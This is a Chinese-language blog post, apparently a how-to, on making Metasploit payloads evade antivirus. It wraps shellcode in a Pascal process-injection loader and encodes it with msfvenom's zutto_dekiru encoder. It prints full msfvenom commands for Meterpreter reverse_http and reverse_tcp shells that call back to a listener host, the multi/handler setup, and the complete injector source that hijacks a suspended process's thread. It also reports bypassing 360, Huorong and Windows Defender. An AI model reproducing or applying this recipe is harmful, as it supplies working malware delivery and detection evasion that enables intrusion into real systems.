利用Pascal+zutto_dekiru进行免杀

简介: 利用Pascal+zutto_dekiru进行免杀

0x01 前言

最近在知识星球看到@冷逸师傅分享的一个Pascal语言shellcode注入项目,因为Pascal为冷门语言,所以大概率不会被查杀,所以可以用这个项目来对我们的马儿进行免杀处理。


项目地址:https://github.com/0xsp-SRD/OffensivePascal

0x02 项目测试

在测试这个项目前我们得先装好Lazarus环境,然后将OffensivePascal项目下载到本地,使用作者给出的msfvenom命令生成Pascalg格式的shellcode,并将其全部放置在一行。

    msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.120 LPORT=443 -f c | sed -r 's/[\x]+/$/g' | sed -r 's/[\]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/\,/' | cut -c 2-
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
    msf5 exploit(multi/handler) > set lhost 192.168.1.120
    msf5 exploit(multi/handler) > set lport 443
    msf5 exploit(multi/handler) > exploit


    接着在Lazarus环境中打开OffensivePascal项目Simple Shellcode injection件夹中injector.lpr,将处理好的Pascalg格式的shellcode替换到shellcode:array中,然后进行编译即可。


    这里需要注意下msfvenom生成的payload大小,因为要删除掉shellcode后的;,,所以在injector.lpr源代码中填写payload大小时可能要-1,如果填写的不对在编译时就可能会出现报错,如下图。


    这里我们用360、火绒、PC和Server端的windows defender来扫描下刚编译的injector.exe,看下是否已经能够免杀?在下图中可以看到360是免杀了,但是火绒和windows defender还是查杀到了。

    0x03 免杀处理

    直接用作者的msfvenom命令生成的shellcode编译的exe已经被火绒和windows defender查杀,但如果不加那段shellcode就不会被杀,所以我们还需要做进一步的免杀处理。

    经过测试后发现其实很简单,只要在msfvenom生成shellcode时使用-e参数加上zutto_dekiru编码即可实现免杀,次数也可以用-i参数控制,可同时免杀360、火绒、金山毒霸、PC和Server端的windows defender。


    接着我们再按以上的测试流程重新走一遍就行了,生成shellcode->处理shellcode->替换shellcode->编译exe->执行上线,都是一些重复的操作,就不详细写了,这时可以看到执行后已经成功上线了。

      msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -e x64/zutto_dekiru -i 5 -f c | sed -r 's/[\x]+/$/g' | sed -r 's/[\]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/\,/' | cut -c 2-
      msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
      msf5 exploit(multi/handler) > set lhost 192.168.1.120
      msf5 exploit(multi/handler) > set lport 443
      msf5 exploit(multi/handler) > exploit

      injector.lpr:

        {
          this one is part of repo published on github under the name of Offensive Pascal
          Pascal is a great and still up to date :)
          these projects can be compilied using FreePascal (FPC)
          or Delphi
          author : @zux0x3a
          site :   0xsp.com / ired.dev
          https://github.com/0xsp-SRD/OffensivePascal
         }
        program injector;
        {$mode delphi}
        uses
          Classes,windows;
        procedure inject_shell;
        const
          //Windows x64 MessageBox Shellcode (434 bytes)
          shellcode:array[0..768] of BYTE = (
          Insert Shellcode Here);
        var
          pi: TProcessInformation;
          si: TStartupInfo;
          {$ifdef win32}
          ctx: Context;
          {$endif}
          {$ifdef win64}
          ctx : Pcontext;
          {$endif}
          remote_shellcodePtr: Pointer;
          {$ifdef win64}
          Written:dword64;
          {$endif}
           {$ifdef win32}
          Written:dword;
          {$endif}
          AppToLaunch: string;
          i ,s_size: Cardinal;
          shell_prt : string ;
         shell_code :  array of byte;
        begin
        AppToLaunch := 'notepad.exe';
        UniqueString(AppToLaunch);
        FillMemory( @si, sizeof( si ), 0 );
        FillMemory( @pi, sizeof( pi ), 0 );
        writeln('[+] Creating Process in Suspended Mode');
        CreateProcess('c:\windows\system32\cmd.exe', PChar(AppToLaunch), nil, nil, False,
                      CREATE_SUSPENDED,
                      nil, nil,  si, pi );
         {$ifdef win32}
         ctx.ContextFlags := CONTEXT_CONTROL;
         GetThreadContext(pi.hThread,ctx);
         {$endif}
         {$ifdef win64}
          ctx := PCONTEXT(VirtualAlloc(nil, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE));
          ctx.ContextFlags := CONTEXT_ALL;
          GetThreadContext(pi.hThread,ctx^);
         {$endif}
         //allocate the memory size
         remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,s_size,MEM_COMMIT,
           PAGE_EXECUTE_READWRITE);
         // write array of bytes into process memory
         WriteProcessMemory(pi.hProcess,remote_shellcodePtr,@shellcode,s_size,written);
        {$ifdef win64}
         ctx.rip:=dword64(remote_shellcodePtr);
         //ctx.ContextFlags := CONTEXT_CONTROL;
         SetThreadContext(pi.hThread,ctx^);
         ResumeThread(pi.hThread);
        {$ENDIF}
        {$ifdef win32}
         ctx.Eip:=integer(remote_shellcodePtr);
         ctx.ContextFlags := CONTEXT_CONTROL;
         SetThreadContext(pi.hThread,ctx);
         ResumeThread(pi.hThread);
        {$endif}
         end;
        begin
          inject_shell;
        end.


        0x04 注意事项

        这种免杀方式只能过杀软的静态查杀,在Meterpreter会话中执行getsystem提权、 migrate进程迁移等命令时还是会被windows defender阻止,这里我也只是简单测试了下PC的windows defender,至于360、火绒等其他安全防护产品还会拦截哪些操作和行为还请自行测试...。

        相关文章
        |
        4月前
        |
        人工智能 Rust 安全
        DARPA计划“消灭”C语言代码
        为了加速软件业向内存安全编程语言的过渡,美国国防高级研究计划局(DARPA)正在推动一个名为TRACTOR的人工智能代码转换工具,可自动将遗留C代码转换为Rust,以根治内存安全问题。TRACTOR是TRanslating All C TO Rust的缩写,即“将所有C语言代码转换为Rust语言”。
        DARPA计划“消灭”C语言代码
        |
        7月前
        |
        SQL XML 安全
        BugKu CTF(Web):sqli-0x1 & baby lfi & baby lfi 2
        BugKu CTF(Web):sqli-0x1 & baby lfi & baby lfi 2
        |
        7月前
        |
        应用服务中间件 PHP nginx
        [CTF]ctfshow文件包含
        [CTF]ctfshow文件包含
        codeforces 317 A Perfect Pair
        我先排除了输出-1的,然后再考虑如何计算最小的步数。我们主要在每一步中最小一个加上另一个就可以了,这是朴素的求法,但可能出现这样的情况 比如 -100000000 1 10000000 这样的话会循环100000000多次,肯定超时,所以我们要加快速度。
        48 0
        |
        安全 PHP
        webshell免杀中符号的妙用
        webshell免杀中符号的妙用
        |
        测试技术 数据安全/隐私保护 Windows
        Nim之NimShellCodeLoader免杀学习(下)
        Nim之NimShellCodeLoader免杀学习
        251 0
        |
        编译器 API C语言
        简单的源码免杀过av
        简单的源码免杀过av
        |
        安全 Windows
        【工具分享】免杀360&火绒的shellcode加载器
        【工具分享】免杀360&火绒的shellcode加载器
        387 0
        |
        安全 PHP 数据安全/隐私保护
        免杀&&抽奖|python进行shellcode免杀(二)
        免杀&&抽奖|python进行shellcode免杀
        713 0
        |
        API 数据安全/隐私保护 C语言
        免杀&&抽奖|python进行shellcode免杀(一)
        免杀&&抽奖|python进行shellcode免杀
        211 0